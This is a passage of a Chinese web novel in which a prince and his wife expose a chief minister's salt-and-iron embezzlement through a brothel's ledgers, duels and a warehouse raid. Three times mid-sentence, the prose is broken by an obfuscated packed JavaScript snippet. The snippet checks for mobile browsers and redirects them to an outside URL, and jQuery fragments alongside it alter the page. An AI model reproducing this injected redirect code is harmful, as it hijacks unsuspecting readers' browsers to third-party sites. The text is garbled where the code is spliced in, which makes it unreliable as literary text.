萧御的瞳孔骤然收缩!那翻涌着复杂情绪的眼眸瞬间被冻结,只剩下冰冷的、足以焚毁一切的杀意!他死死盯着那枚令牌,盯着那枚首辅的私印,仿佛要将它烙印进灵魂深处。鬼市的追杀、那淬毒的**矢、鬼叟被洞穿的喉咙、药市冲天的大火……一切的一切,瞬间有了清晰而狰狞的指向!这不再仅仅是针对他个人的毒杀,而是首辅一系对镇北王府赤裸裸的宣战!一场不死不休的权力绞杀! 他攥着谢凤卿手腕的手,无意识地又收紧了几分,指节因用力而泛白。但这不再是占有欲的宣泄,而是一种源自骨髓深处的、被巨大阴谋和刻骨仇恨点燃的、需要爆发的力量!他需要抓住什么,来对抗这即将席卷而来的滔天巨浪。 谢凤卿任由他攥着,仿佛那手腕不是自己的。她的目光从令牌上移开,重新落回萧御的脸上。这一次,她的眼神不再是纯粹的平静,而是多了一种冰封千里的锐利,一种洞悉一切后的、带着森然寒意的决绝。她的声音依旧不高,却如同淬了冰的刀锋,清晰地割开凝滞的空气: “世子殿下的命,是黄金万两买的,是鬼市十三条亡魂垫的,是背上十三针刮骨放血熬的。”她一字一顿,每一个字都像在清算,更像在宣示**,“这笔账,我记下了。” 她的目光扫过那枚染血的玄铁令牌,眼底深处,冰封的湖面轰然碎裂,燃起的是足以焚城灭国的幽蓝火焰: “而这枚令牌……买的是首辅的命。” “盐铁转运,国之命脉,私印为凭……这便是他递到你刀下的把柄。”她微微倾身,距离萧御那张因剧痛和愤怒而扭曲的脸庞只有咫尺之遥,吐息如冰,却带着焚烧一切的热度,“世子,你的命债,该用血来偿了。” 烛光剧烈地摇曳着,将两人重叠的、如同凝固雕塑般的身影投射在墙壁上,扭曲而巨大。那枚躺在锦褥上的玄铁令牌,在光影中如同蛰伏的凶兽,散发着冰冷而血腥的气息。 戌时的梆子声沉闷地敲过,白日里肆虐的狂雪终于偃旗息鼓。厚厚的积雪覆盖着京城鳞次栉比的屋脊和街道,映着初上的华灯,天地间一片清冷的银白。唯有城东最繁华的朱雀大街上,一座飞檐斗拱、彩绣辉煌的三层楼阁,正肆无忌惮地泼洒出大片暖融暧昧的橘红光芒,将那门楣上金粉闪耀的“醉仙楼”三个大字,衬得愈发纸醉金迷。丝竹管弦的靡靡之音尚未完全奏响,空气中却已浮动着浓郁的脂粉甜香和酒气,隐隐夹杂着男女调笑的浪声软语。 一辆毫不起眼的青帷马车,却悄无声息地绕过了醉仙楼门前那一片车水马龙、衣香鬓影的喧闹,停在了灯火相对昏暗、只供杂役仆从出入的后巷角门处。 车帘被一只骨节分明、略显苍白的手掀开一角。 萧御裹着一件厚实的玄狐大氅,领口一圈油光水滑的狐**衬得他下颌线条愈发冷硬。他脸上覆盖着一张只遮住上半张脸的精致银质面具,冰冷的金属光泽掩去了他大病初愈的憔悴,只露出一双深不见底、在昏暗光线下显得格外幽邃锐利的眸子,以及紧抿着、透着一丝不悦弧度的薄唇。 凛冽的寒气夹杂着巷子里特有的、混合了厨余和劣质脂粉的古怪气味扑面而来,让他几不可察地蹙了下眉,喉间发出一声压抑的轻咳。 他看着车外那扇紧闭的、毫不起眼的黑漆小角门,又侧头瞥了一眼身边同样一身素净常服、只简单挽了个发髻、脸上同样覆着一张素白面纱的女子,那素纱下只露出一双沉静如水的眼眸。 萧御的唇角勾起一个带着浓浓讥诮和匪夷所思的弧度,声音低沉沙哑,带着一丝刻意压低的、只有两人能听清的嘲弄: “本世子……竟有朝一日,要跟着自家娘子,来逛……窑子?” “不是逛,”谢凤卿的声音透过面纱传出,平静无波,如同在陈述一件再寻常不过的公事。她率先起身,动作利落地踩着脚凳下了车,然后回身,极其自然地伸出手,稳稳地扶住了萧御探出车厢的手臂,“是查账。” 她的指尖隔着衣料传来微凉而坚定的力道。萧御借力下车,踩在冰冷的雪地上,身体依旧有些虚浮,但那股支撑的力量让他站稳了脚跟。他垂眸,目光落在她扶着自己臂弯的那只手上,银质面具下的眸光微微闪动,却并未挣脱。 扮作车夫的影一早已无声地扣响了角门。三长两短,特定的节奏。 “吱呀——”一声轻响,角门开了一条缝,露出一张浓妆艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545984|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹、眼神却异常精明的中年妇人脸庞——正是醉仙楼明面上的老鸨徐妈妈。她看到影一,又飞快地扫了一眼他身后戴着面具、气度不凡的男女,眼中掠过一丝了然和敬畏,立刻堆起十二分的笑容,侧身让开:“贵客请进,烟烟姑娘恭候多时了。” 门内是一条狭窄、铺着厚实地毯的通道,隔绝了外界的喧嚣和寒冷。空气中浮动着更加浓郁的暖香和酒气。徐妈妈在前引路,穿过几重垂落的珠帘和回廊,最终来到三楼最深处一间极为僻静、装饰却异常雅致的暖阁。 推开雕花的红木门扉,暖意融融,一股清雅的兰麝幽香扑面而来。 暖阁内,一个身着水红色软烟罗长裙的绝色女子正背对着门口,俯身在一张宽大的紫檀木书案前,纤细的指尖正飞快地拨弄着一把紫檀木算盘,发出清脆利落的“噼啪”声。案上堆满了厚厚的账册。 听到开门声,女子动作一顿,缓缓转过身来。 她云鬓堆鸦,肤光胜雪,眉目如画,眼波流转间顾盼生辉,正是名动京华、千金难买一笑的醉仙楼头牌花魁——柳烟烟。 然而,当她的目光触及门口戴着面纱的谢凤卿时,脸上那足以倾倒众生的妩媚笑容瞬间收敛,取而代之的是一种发自内心的恭敬和肃然。 柳烟烟莲步轻移,走到谢凤卿面前,无视了旁边戴着银面具、气势迫人的萧御,竟是双手交叠于腰侧,对着谢凤卿深深一福,声音清越,带着毫不作伪的恭敬: “东家,您来了。近三个月的所有账册,以及您特别吩咐留意的那几本‘暗账’,都已备好在此,请东家过目。” 东家?! 这两个字如同投入平静湖面的巨石! 一直沉默立于谢凤卿身后的萧御,银质面具下那双深潭般的眸子骤然掀起一丝清晰的波澜!他猛地侧头,锐利如实质的目光穿透面具,死死钉在谢凤卿那沉静的侧脸上! 醉仙楼!京城第一销金窟!日进斗金,权贵云集,更是无数消息暗流汇聚之地!它的幕后东家,竟是……谢凤卿?!这个被嫡姐推出来冲喜、看似柔弱可欺的庶女?!她何时成了这醉仙楼的主人?!是了……凤记钱庄……小财神!醉仙楼三年前突然易主,新东家神秘莫测……原来是她! 萧御的呼吸几不可察地粗重了一瞬。这个女人……她身上到底还藏着多少令人心惊的秘密?! “有劳烟烟。”谢凤卿的声音依旧平静,仿佛柳烟烟的称呼天经地义。她微微颔首,目光扫过书案上堆积如山的账册,正要开口询问。 “砰!哗啦——!” ——小猫有话说 盐铁令牌入手,染血的权柄已递至刀锋。 棋盘上落下的,何止是杀子? 这是点燃燎原烈火的引信,是撕裂帝国朝堂的第一道惊雷。 欠下的一条命,终将以仇雠的骸骨,筑成通往权力之巅的阶梯。 第12章欠债还钱天经地义 楼下前厅方向,猛地传来一声极其刺耳的巨响!像是巨大的瓷瓶被狠狠砸碎在地!紧接着,一个嚣张跋扈、带着浓重醉意的年轻男子声音,如同破锣般炸响,穿透了楼板,清晰地传了上来: “人呢?!都死光了?!本少爷花了三千两银子!就要听柳烟烟唱个小曲儿!磨磨蹭蹭大半天了,人呢?!给老子把她叫出来!不然老子砸了你这破楼!” 这声音……带着一种令人厌恶的、属于纨绔子弟特有的油腻和蛮横。 柳烟烟脸色微微一变,眼底闪过一丝冷意和厌恶,低声道:“东家,是户部侍郎家的公子杜衡。他今晚在二楼‘听雨轩’包了场,已经闹了半个时辰了,非要见奴婢……他手里那本‘消遣’用的账册,似乎就是……” 谢凤卿面纱下的唇角,极其轻微地向上弯了一下,冰冷,毫无温度。 “户部侍郎杜家……盐铁转运的经手人之一……”她的声音低如耳语,却清晰地传入萧御耳中,“来得正好。” 她抬眸,看向柳烟烟:“准备一下,我去会会这位杜公子。” “您?”柳烟烟一怔。 “嗯。”谢凤卿点头,目光扫过案上一把蒙尘的七弦琴,“就以……琴师的身份。” 听雨轩内,一片狼藉。 名贵的青花瓷瓶碎片溅了一地,酒水泼洒,瓜果滚落。几个丫鬟战战兢兢地缩在角落,大气不敢出。 一个身穿锦蓝色云纹华服、身形微胖、面色浮肿、眼下带着浓重青黑的年轻公子哥,正一脚踩在翻倒的紫檀木矮几上,一手叉腰,一手拎着个空酒壶,醉眼惺忪,口沫横飞地叫骂着。正是户部侍郎之子杜衡。 “他喵的!一群贱婢!敢怠慢本少爷?知道本少爷是谁吗?知道本少爷这账册里记的是什么吗?说出来吓死你们!还不快叫柳烟烟滚出来……” “吱呀——” 雅间的门被轻轻推开。 一个身着素青布裙、脸上蒙着素白面纱、怀抱一把七弦琴的女子,低着头,脚步轻盈地走了进来。她身姿窈窕,步履无声,如同幽谷中悄然绽放的兰草,与这满室的狼藉和喧嚣格格不入。 杜衡的叫骂声戛然而止。醉醺醺的目光落在女子身上,带着毫不掩饰的审视和一丝淫邪。虽然看不清脸,但这身段……他舔了舔嘴唇:“哟?新来的小娘子?倒有几分清高劲儿?烟烟呢?让她滚出来!” 蒙面女子并未答话,只是默默走到雅间中央那张尚未被掀翻的琴几前,缓缓坐下。她将古琴置于膝上,纤指轻抚琴弦。 “铮——” 一声清越孤高的琴音突兀地响起,如同冰泉乍破,瞬间压下了雅间内所有的嘈杂! 杜衡被这清冷的琴音刺得一激灵,酒意似乎都醒了两分,正要发作。 “铮!铮铮铮——!” 琴音陡然转急!如同金戈交鸣,铁骑突出!一股凌厉无匹、充满杀伐之气的旋律,如同汹涌的怒涛,瞬间席卷了整个听雨轩!是《十面埋伏》! 琴声激越,杀气腾腾!每一个音符都像冰冷的箭矢,狠狠扎向杜衡那被酒色掏空的神经! “你……你弹的什么鬼东西!”杜衡被这突如其来的杀伐之音震得头皮发麻,恼羞成怒地吼道,“给老子停下!弹个软绵绵的小曲儿……” 就在他吼叫的瞬间,蒙面女子按在琴弦上的右手猛地向下一压! “嘣——!” 一声刺耳欲聋的裂帛之音! 七根坚韧的琴弦,竟被一股无形的巨力齐齐崩断!断弦如同失去生命的毒蛇,无力地垂落下来! 琴音骤停!雅间内陷入一片死寂!只有断弦还在微微震颤,发出嗡嗡的余响。 杜衡被这突如其来的变故惊得目瞪口呆,张着嘴,一时忘了言语。 就在这琴音骤停、杜衡心神被慑的刹那—— 一道水红色的倩影如同惊鸿般闪入雅间!正是柳烟烟! 她脸上带着恰到好处的惊慌和歉意,快步走到杜衡身边,声音娇柔婉转:“杜公子息怒!息怒!都怪奴婢来迟了!惹得公子不快!”她一边说着,一边极其自然地伸手去扶杜衡踩在矮几上的脚,“公子快坐下消消气,奴婢这就给您斟酒赔罪……” 她的身体巧妙地遮挡了杜衡的视线,另一只藏在宽大袖袍中的手,快如闪电地探向杜衡随手丢在翻倒矮几旁、一个不起眼的黑漆描金小木匣! “啪嗒”一声极其轻微的机括声响。 柳烟烟的动作行云流水,借着扶杜衡的掩护,瞬间完成了掉包!被掉包出来的,是一本封面无字、纸张泛黄的薄薄册子。她袖袍一拂,那册子如同变戏法般消失不见。 “滚开!”杜衡此刻才从断弦的震惊中回过神,不耐烦地一把推开柳烟烟,目光重新凶狠地投向那蒙面琴师,“臭丫头!敢崩断琴弦吓唬本少爷?老子……” 他的目光无意间扫过矮几旁那个黑漆木匣,瞳孔骤然一缩!木匣的锁扣……似乎被动过了! “我的账本!”杜衡如同被踩了尾巴的猫,猛地尖叫起来!他一把推开柳烟烟,扑向那个木匣,手忙脚乱地打开一看——里面空空如也! “是你!是你这**!”杜衡瞬间双目赤红,如同疯兽般指向那蒙面琴师!他猛地从腰间抽出一柄镶金嵌玉的华丽短剑,剑锋直指谢凤卿,嘶声咆哮:“把账本交出来!否则老子杀了你!烧了这醉仙楼!” 剑锋寒光闪烁,杀气腾腾! 满室仆役丫鬟吓得尖叫连连,柳烟烟也“花容失色”地退后两步。 然而,那蒙面的琴师却缓缓站起了身。 在杜衡疯狂的目光和森冷的剑锋下,她抬起手,不疾不徐地,摘下了脸上的素白面纱。 面纱滑落,露出一张清丽绝伦、却冰冷得如同覆着寒霜的脸庞。那双眸子,沉静如深潭,清晰地映出杜衡那张因暴怒和恐惧而扭曲的面孔。 “杜公子,”谢凤卿的声音不高,却清晰地压过了所有的嘈杂,带着一种审判般的冰冷,“欠债还钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545985|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天经地义。” 她向前一步,无视那近在咫尺的剑锋,目光如同冰锥,直刺杜衡眼底: “你是想还那盐铁私运、中饱私囊的三十万两雪花银……” 她的唇角勾起一个极其冷酷的弧度: “……还是想还命?” “三十万两?!你……你胡说什么!”杜衡如同被戳破了最大的秘密,脸色瞬间由红转白,再由白转青,握着剑的手都在剧烈颤抖,色厉内荏地吼道,“哪里来的疯妇!敢污蔑朝廷命官之子!老子宰了你!” 他再也顾不得许多,眼中凶光毕露,手中短剑猛地朝谢凤卿心口刺去! “放肆!” 一个低沉冰冷、如同万载玄冰碰撞的声音,陡然在雅间门口响起! 伴随着声音,一道身影如同鬼魅般出现在谢凤卿身侧!正是萧御! 他依旧披着玄狐大氅,脸上覆着那张冰冷的银面具。在杜衡短剑刺出的瞬间,他闪电般出手!没有拔刀,甚至没有多余的动作,只是屈指,快如疾风般在杜衡持剑的手腕上重重一弹! “当啷!” 一声脆响! 杜衡只觉得手腕如同被烧红的铁钳狠狠夹住,剧痛钻心!短剑再也握持不住,脱手飞出,掉落在厚厚的地毯上! “啊——!”杜衡发出一声凄厉的惨叫,抱着剧痛的手腕踉跄后退,撞翻了身后的椅子。 萧御看也没看他一眼,仿佛只是拂去了一点尘埃。他伸出手,动作从容而优雅,缓缓摘下了自己脸上的银质面具。 面具滑落,露出一张苍白却俊美得惊心动魄、带着久居上位者冰冷威严的脸庞。深邃的眼眸如同寒潭,目光所及之处,空气都仿佛被冻结。 “扑通!”“扑通通!” 整个听雨轩内,所有看清他面容的仆役、丫鬟,甚至包括老鸨徐妈妈,全都如同被无形的巨力击中,脸色煞白,抖若筛糠,瞬间跪倒一片!额头死死抵着冰冷的地板! “参见世子殿下——!” “参见世子妃娘娘——!” 颤抖的、带着极致恐惧的**声,如同潮水般响起,淹没了杜衡痛苦的呻吟! 杜衡抱着剧痛的手腕,惊恐万状地抬起头,当看清萧御那张脸时,如同见了活阎王!所有的嚣张气焰瞬间化为乌有,只剩下无边的恐惧和难以置信!镇北王世子?!他不是……不是快**吗?!怎么会在这里?!还有……世子妃?!那个琴师?! 影一如同幽影般出现在杜衡身后,如同铁钳般的大手毫不留情地按在他的后颈上,将他的脸狠狠掼在冰冷的地板上! “唔!”杜衡发出一声闷哼,鼻血长流,动弹不得。 谢凤卿走到书案前,拿起一支狼毫笔,蘸饱了墨,又拿起一张空白的宣纸。她走到被影一死死按在地上的杜衡面前,蹲下身,将笔和纸放在他眼前的地上。 “杜公子,”她的声音如同来自九幽,“三十万两白银,外加三分利。签字,画押。” 第13章空手套白狼,妙 “不……不……我没有……”杜衡还想挣扎狡辩。 影一按着他脖颈的手猛地加力,骨骼发出令人牙酸的咯咯声!死亡的恐惧瞬间攫住了杜衡! “我签!我签!”杜衡涕泪横流,发出杀猪般的惨叫,用那只没受伤的手,颤抖着抓起笔,在那张如同催命符般的欠条上,歪歪扭扭地写下了自己的名字。 谢凤卿面无表情地看着,待他写完,又拿起他的手指,毫不客气地在旁边一个打翻的、沾着酒液和血污的砚台里重重一按,然后狠狠摁在了那欠条的落款处! 一个鲜红刺目、带着血丝和污渍的指印,如同**的烙印,留在了纸上。 “带走。”萧御冰冷的声音响起。 影一如同拖死狗般,将瘫软如泥、面无人色的杜衡拖了出去。 喧嚣散尽,听雨轩内只剩下满地狼藉和死一般的寂静。跪伏在地的众人连大气都不敢喘。 谢凤卿将那张染血的欠条仔细折好,收入袖中。她走到萧御身边,目光平静地迎上他深邃探究的眼眸。 萧御看着她,面具早已摘下,苍白的脸上看不出太多情绪,唯有那双深潭般的眼底,翻涌着一丝复杂难辨的光芒。他忽然低低地笑了一声,那笑声带着劫后余生的沙哑和一丝奇异的玩味: “娘子这招……空手套白狼,着实……甚妙。” 谢凤卿没有接话,只是微微侧身,从旁边小几上拿起一个早已备好的、裹着厚厚棉套的紫铜手炉,动作自然地塞进了萧御冰冷的手中。 “世子身体刚好,不宜久立。”她的声音依旧清冷,却少了几分方才的肃杀,“此地美人虽多,看久了……伤神。” 萧御握着那瞬间传来温暖的手炉,微微一怔。手炉的温度透过掌心蔓延开,驱散了几分这青楼里特有的、令人不适的阴冷。他垂眸看着手中精致的暖炉,又抬眼看了看眼前女子那张平静无波的侧脸,薄唇微动,似乎想说什么。 就在这时—— “咻——!” 一声凄厉到令人头皮炸裂的破空声,如同毒蛇的嘶鸣,猛地撕裂了醉仙楼后巷的寂静!一支闪烁着幽蓝寒光的**矢,带着凌厉无匹的杀意,狠狠穿透了青帷马车的车帘,深深钉入车厢内壁! 箭尾犹自剧烈颤抖! **矢冰冷的箭杆上,赫然绑着一卷小小的、浸透了桐油的纸条! 影一反应快如鬼魅,在**矢破空的瞬间已拔刀护在车旁!然而袭击者显然一击即退,巷子深处只余下风雪卷过空荡回廊的呜咽。 萧御眼神骤然转冷,杀意弥漫。 谢凤卿却已上前一步,无视那颤动的**矢,伸出两根手指,极其冷静地将那卷纸条从箭杆上解了下来。 她展开纸条。 上面只有一行用炭笔潦草写就、却力透纸背的字迹: “盐铁令牌,三日内,置于城隍庙佛像掌心。” “否则,醉仙楼,鸡犬不留,灰飞烟灭。” 落款处,画着一个狰狞的、滴血的鹰爪标记——鹰犬十三的残党! 冰冷的杀意如同实质般从纸条上弥漫开来。 萧御的目光扫过纸条,脸色阴沉如水。 谢凤卿却缓缓抬起了头。她看着后巷深处那片被红灯映照得如同血染的、厚厚的积雪,看着纸条上那行充满威胁的字迹,素白的面纱下,唇角极其缓慢地向上勾起。 那弧度冰冷,锋利,带着一种睥睨生死的漠然和一丝……被彻底激怒后、即将燎原的毁灭之火。 她轻轻捻动着指尖那张催命的纸条,声音低得如同自语,却清晰地回荡在冰冷的空气中: “烧我的楼?” 她唇角的笑意加深,眼底寒芒乍现: “那就看看……” “是谁的楼……” “先塌。” 大寒,子夜。 朔风卷着最后残存的雪沫,如同冰刀般抽打在京城外港高耸的盐铁司仓廪那厚重的青石墙壁上。风声呜咽,如同鬼哭。远处京城的灯火早已沉寂,唯有这临河的庞大仓区,被数十支熊熊燃烧的火把映照得亮如白昼。跳跃的火光舔舐着冰冷的石墙,在厚重的积雪上投下幢幢扭曲的巨大黑影,更添几分森然肃杀。 仓区入口处,两排披坚执锐、面无表情的守仓军士如同铁铸的雕像,盔甲在火光下泛着幽冷的寒芒。他们手中的长矛斜指地面,矛尖凝聚着一点刺目的冷光,警惕地注视着通往黑暗官道的方向。 一辆不起眼的青帷马车碾着厚厚的积雪,悄无声息地滑入这片被火光照亮的区域,停在仓区巨大的黑漆木门前。 车帘掀开。 谢凤卿率先下车。她依旧一身便于行动的素色劲装,外罩一件厚实的玄色斗篷,兜帽压得很低,遮住了大半张脸,只露出线条清晰的下颌和紧抿的唇。刺骨的寒风卷起她的斗篷下摆,猎猎作响。 她身后,萧御也下了车。他披着厚实的玄狐大氅,身形依旧带着大病初愈的几分单薄,脸色在火把跳跃的光线下显得有些苍白,但那双深不见底的眸子,却锐利得如同出鞘的寒刃,再无半分虚弱之态。他沉默地立在谢凤卿身侧半步之后的位置,如同守护在她阴影中的猛兽,气息沉凝,蓄势待发。 扮作车夫的影一无声地勒住缰绳,目光如同鹰隼般扫过四周的黑暗角落。 谢凤卿抬步,径直走向那两排森严的守仓军士。她的脚步踩在积雪上,发出咯吱的轻响,在这片死寂中显得格外清晰。 为首的军士头目,一个满脸横肉、眼神凶狠的疤脸汉子,猛地横跨一步,手中长矛“锵”地一声斜指,拦住去路,声音粗嘎低沉:“站住!盐铁重地,闲人免近!令牌!” 浓重的杀气混合着寒夜的气息扑面而来。 谢凤卿的脚步没有丝毫停顿。她在距离矛尖仅有三寸的地方停下,缓缓抬起头。兜帽阴影下,那双沉静的眸子如同两口深潭,清晰地映出军士头目那张凶狠的脸。 她没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545986|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,只是缓缓抬起右手。 掌心之中,赫然躺着一枚半个巴掌大小、通体幽黑、触手冰凉的玄铁令牌! 令牌正面,一座险峻山峰的浮雕在火把光芒下泛着冷硬的金属光泽。背面,一个清晰的、带着独特繁复纹路的私人印章,如同狰狞的烙印,深深镌刻其上——正是当朝首辅沈介的私印!令牌边缘,还残留着暗红的、早已干涸的血迹! “奉首辅令,”谢凤卿的声音不高,却带着一种奇异的穿透力,清晰地传入每一个守仓军士的耳中,如同冰冷的铁块砸落冰面,“开仓,验货。” 疤脸军士头目的瞳孔骤然收缩!他死死盯着那枚令牌,尤其是背面那个代表着滔**势的首辅私印,脸上的横肉不受控制地抽搐了几下。首辅的令牌!这女人……她是谁?! 惊疑、犹豫、还有一丝对首辅威势根深蒂固的恐惧,瞬间在他眼中交织。他下意识地看向谢凤卿身后那个披着玄狐大氅、气度不凡的男子,虽然看不清全貌,但那无形中散发的压迫感,让他心头更是狂跳。 “开……开仓!”疤脸军士头目最终艰难地咽了口唾沫,嘶哑着嗓子吼道,声音带着不易察觉的颤抖。他猛地收回长矛,对着身后挥手。 “嘎吱吱——!” 沉重无比的黑漆木门,伴随着令人牙酸的机括转动声,被数名军士合力,缓缓向内推开! 一股混杂着浓烈咸腥、铁锈、硝石以及陈年木料灰尘的复杂气息,如同沉睡巨兽的吐息,猛地从门内汹涌而出! 谢凤卿毫不犹豫,抬脚踏入。萧御紧随其后,如同她的影子。 影一留在门外,如同门神,冰冷的目光锁定了那名疤脸军士头目和所有守仓军士。无形的杀气弥漫,压得众人噤若寒蝉,无人敢妄动一步。 仓门在身后缓缓合拢,隔绝了外面的火光和风雪。 眼前豁然开朗! 巨大的仓廪内部,高度足有三层楼,纵深不见尽头!一排排巨大的木架如同沉默的巨人,整齐地排列着,几乎顶到了高高的穹顶。仓内只点着寥寥几盏昏暗的气死风灯,光线昏黄,勉强照亮近处。 但这昏黄的光线,足以让看清眼前的一切! 左侧区域,堆积如山的,是洁白如雪、在昏暗中仿佛散发着微光的官盐!巨大的麻袋堆叠成一座座小山,散发着浓烈的咸腥气息。 右侧区域,则是闪烁着冰冷金属光泽的生铁锭!乌沉沉,一块块整齐码放,如同钢铁的丛林,散发着沉重的铁锈味道。 更深处,光线更加昏暗的区域,隐约可见一排排用厚重油布覆盖的、形状修长的物体——是成捆的刀枪!矛尖在阴影中偶尔反射出一点幽冷的寒光!旁边还有一个个密封的、散发着淡淡刺鼻硝石气味的木箱——是**! 而靠近仓门内侧的一个角落,则堆放着一些尚未完全封箱的、更为零散的货物:成匹的锦缎、成箱的香料、甚至还有几匣子打开的金锭,在昏黄灯光下闪烁着诱人的光泽! 第14章一剑!双封喉 盐、铁、军械、**、财货……分门别类,堆积如山!这哪里是什么官仓?分明是首辅沈介私人武装和敛财的宝库!其价值,何止百万?! 谢凤卿的目光如同最精准的探针,快速扫过整个仓廪。她没有丝毫停留,径直走向那堆放着金锭锦缎的角落。她走到一个半开的紫檀木箱前,俯身,从怀中取出那本从醉仙楼杜衡手中夺来的、封面无字的薄册子——盐铁私账! 她借着昏暗的灯光,快速翻动账册,指尖划过一行行触目惊心的数字和名目。最终,她的指尖停留在其中一页,目光如同寒冰,扫过面前箱子里的金锭和锦缎。 “宣德十一年腊月,盐引**三十万两,”她的声音在空旷巨大的仓廪里冷冷响起,如同宣判,“白银入库不见踪影,唯余锦缎三百匹,苏绣贡品;黄金五千两,成色不足……呵,好一招偷梁换柱,中饱私囊!” 账册上的数字,与眼前这堆明显价值不符、却又被堂而皇之存放在盐铁司官仓里的“赃物”,形成了最直接的、无可辩驳的证据链! “什么人?!胆敢擅闯官仓重地!”一声厉喝陡然从仓廪深处传来,伴随着杂乱的脚步声! 一个身穿低级仓督官服、留着山羊胡、眼神精明的中年男人带着七八个手持棍棒的仓丁,气势汹汹地冲了过来!显然是被开门的动静和谢凤卿的说话声惊动。 然而,当他们的目光触及谢凤卿手中那本账册时,脸色瞬间大变! “拿下他们!毁掉账册!”仓督眼中凶光毕露,厉声嘶吼! 就在仓丁们挥舞着棍棒扑上来的瞬间—— “嗤啦——!” 如同布帛撕裂的锐响! 一道雪亮的、快到极致的剑光,如同黑暗中乍现的惊雷,毫无征兆地在谢凤卿身侧亮起! 是萧御! 他依旧披着玄狐大氅,身形似乎未曾移动分毫,唯有那只从大氅下探出的手,握着那柄造型古朴、却散发着刺骨寒意的长剑!剑光一闪即没! 冲在最前面的两名仓丁,动作瞬间僵住!他们的脖颈上,同时出现了一道极细、极薄的血线! 下一刻,血箭如同喷泉般猛地飙射而出!两人连惨叫都未及发出,便如同被砍倒的木桩,直挺挺地扑倒在地,鲜血迅速在冰冷的地面蔓延开来! 一剑!封双喉! 快!狠!准! 萧御缓缓收剑,动作优雅从容,仿佛只是拂去了一点尘埃。他苍白的脸上没有任何表情,唯有那双深潭般的眸子,冷冷地扫过剩下那些如同被施了定身法、满脸惊恐、浑身筛糠般抖动的仓丁和仓督。 毒愈之后的首战,如同沉寂已久的凶兽亮出了獠牙,带着碾压般的冷酷和绝对的震慑!整个仓廪深处瞬间陷入一片死寂,只剩下鲜血滴落的粘稠声响。 “影一。”谢凤卿的声音打破了死寂,没有半分波澜,仿佛地上那两具尸体和满地的鲜血不存在。 “在!”影一的声音如同鬼魅般在仓门内侧的阴影中响起。他不知何时已悄无声息地潜了进来。 “**区,东角第三排木箱。”谢凤卿的目光投向仓廪最深处那片被油布覆盖、散发着硝石气息的区域,声音冰冷而清晰,“埋三支延时火折,引线……一炷香。” “是!”影一身影一晃,如同融入黑暗的烟雾,瞬间消失在堆积如山的货架深处。 谢凤卿的目光转向那个面无人色、抖如筛糠的仓督,唇角勾起一个极淡的、毫无温度的弧度:“杜衡杜公子,欠下的三十万两白银,连本带利,总要有个着落。” 仓督猛地打了个寒颤,一股寒意从脚底板直冲天灵盖。 谢凤卿不再看他,转身走向仓廪另一侧,那里堆放着一坛坛密封的官酿烈酒。她随手拎起一坛,拍开泥封,浓烈的酒香瞬间弥漫开来。 她拎着酒坛,走到被萧御一剑震慑、瘫软在地的仓督面前,居高临下地看着他,如同看着一只待宰的羔羊。 “仓督大人,请吧。”她将酒坛递到仓督面前,声音平静无波,“陪我们世子殿下,喝一杯。” 萧御缓步上前,站在谢凤卿身侧,冰冷的眸子如同看**般锁定仓督。他虽未开口,但那无形的压迫感,比任何威胁都更令人窒息。 仓督看着眼前散发着浓烈酒气的酒坛,又看看地上那两具尚在汩汩冒血的尸体,再看看如同煞神般的萧御,最后目光落在谢凤卿那双毫无感情的眸子上…… “我……我喝!我喝!”巨大的恐惧瞬间击溃了他所有的心理防线!他涕泪横流,手脚并用地爬起来,如同抓住救命稻草般接过那沉重的酒坛,仰起头,不顾一切地猛灌起来!辛辣的酒液呛得他剧烈咳嗽,眼泪鼻涕糊了一脸,却不敢停下。 谢凤卿冷眼旁观。这酒里,被她提前掺入了一种极其霸道的“真言散”。此刻的仓督,在恐惧和药物的双重作用下,早已神志不清。 “首辅大人……”她缓缓开口,声音带着一种奇异的蛊惑力,“存放在这里的盐铁、军械、财货……除了账面上的,还有多少……是见不得光的?” 仓督灌酒的动作猛地一顿,眼神浑浊而迷离,脸上却露出一种诡异的痴笑,含糊不清地嘟囔起来:“嘿嘿……多……好多……北疆……军械……三批……都是……次品……钱……钱都进了……沈相……和……和杜侍郎……的……私库……还有……南边的……私盐……走……走的是……” 他断断续续地吐露着令人心惊肉跳的内幕,每一个字都如同重锤,敲打着仓廪冰冷的墙壁。 时间,在仓督含糊的供述和浓烈的酒气中,无声流逝。 仓廪深处,影一如同壁虎般紧贴着巨大的**木箱。他动作快如鬼魅,手指灵巧地撬开箱盖一角,将三支特制的、尾部带着长长引线的竹管火折,深深地埋入黑色**之中。引线的长度,精确地计算过。 “嚓。”火石轻响。
